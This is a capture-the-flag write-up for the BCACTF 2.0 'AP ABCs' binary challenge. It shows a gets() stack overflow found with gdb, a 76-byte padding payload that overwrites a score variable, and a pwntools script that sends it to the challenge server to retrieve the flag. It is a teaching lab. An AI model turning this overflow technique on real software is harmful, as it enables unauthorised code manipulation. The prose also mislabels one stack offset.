# AP ABCs
#### Category : binex#### Points : 100 points (195 solves)#### Author : Edward Feng
## ChallengeOh wow, they put a freshman in AP ABCs? Never thought I'd see this happen. Anyways, good luck, and make sure to not cheat on your AP test!
-   [ap-abcs.c](https://objects.bcactf.com/bcactf2/ap-abcs/ap-abcs.c)-   [ap-abcs](https://objects.bcactf.com/bcactf2/ap-abcs/ap-abcs)-   `nc bin.bcactf.com 49154`
## SolutionReading the souce code, it is clear that we need to overflow the value of `score` to `0x73434241` using the `gets(response);` call.
Debugging the binary with gdb, we find the instructions where comparisons take place```bash   0x0000555555555583 <+762>:	cmp    DWORD PTR [rbp-0x8],0x0   0x0000555555555587 <+766>:	jne    0x555555555590 <main+775>   0x0000555555555589 <+768>:	mov    DWORD PTR [rbp-0x4],0x1   0x0000555555555590 <+775>:	cmp    DWORD PTR [rbp-0x8],0x7   0x0000555555555594 <+779>:	je     0x5555555555a8 <main+799>   0x0000555555555596 <+781>:	cmp    DWORD PTR [rbp-0x8],0xe   0x000055555555559a <+785>:	je     0x5555555555a8 <main+799>   0x000055555555559c <+787>:	cmp    DWORD PTR [rbp-0x8],0x14   0x00005555555555a0 <+791>:	je     0x5555555555a8 <main+799>   0x00005555555555a2 <+793>:	cmp    DWORD PTR [rbp-0x8],0x18   0x00005555555555a6 <+797>:	jne    0x5555555555ac <main+803>   0x00005555555555a8 <+799>:	add    DWORD PTR [rbp-0x4],0x1   0x00005555555555ac <+803>:	add    DWORD PTR [rbp-0x8],0x1 ```  `rbp-0x8` is the counter variable `i` and `rbp-0x8` is the variable `score` We need to overflow the value of `rbp-0x4` to `0x73434241`. Setting a breakpoint and trying out different length of payloads, we find the following is able to overwrite `rbp-0x4` to our required value.  ```bash run < <(python -c "print('A'*76+'\x41\x42\x43\x73')") ``` ```bash gef➤  x/x $rbp-0x40x7fffffffe72c:	0x73434241```
#### Getting flagWe can make our [get_flag.py](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/BCACTF%202.0/AP%20ABCs/get_flag.py) script as :```python#!/usr/bin/python2from pwn import *host = "bin.bcactf.com"port = 49154payload = "A"*76 + "\x41\x42\x43\x73"s = remote(host, port)s.recvuntil("Answer for 1:")s.sendline(payload)print(s.recvuntil("bcactf{")[-7:] + s.recvuntil("}"))``````bash[+] Opening connection to bin.bcactf.com on port 49154: Donebcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}[*] Closed connection to bin.bcactf.com port 49154```
flag : `bcactf{bca_is_taking_APs_in_june_aaaaaaaa_wish_past_me_luck}`
[Original Writeup](https://github.com/p1xxxel/ctf-writeups/tree/main/2021/BCACTF%202.0/AP%20ABCs)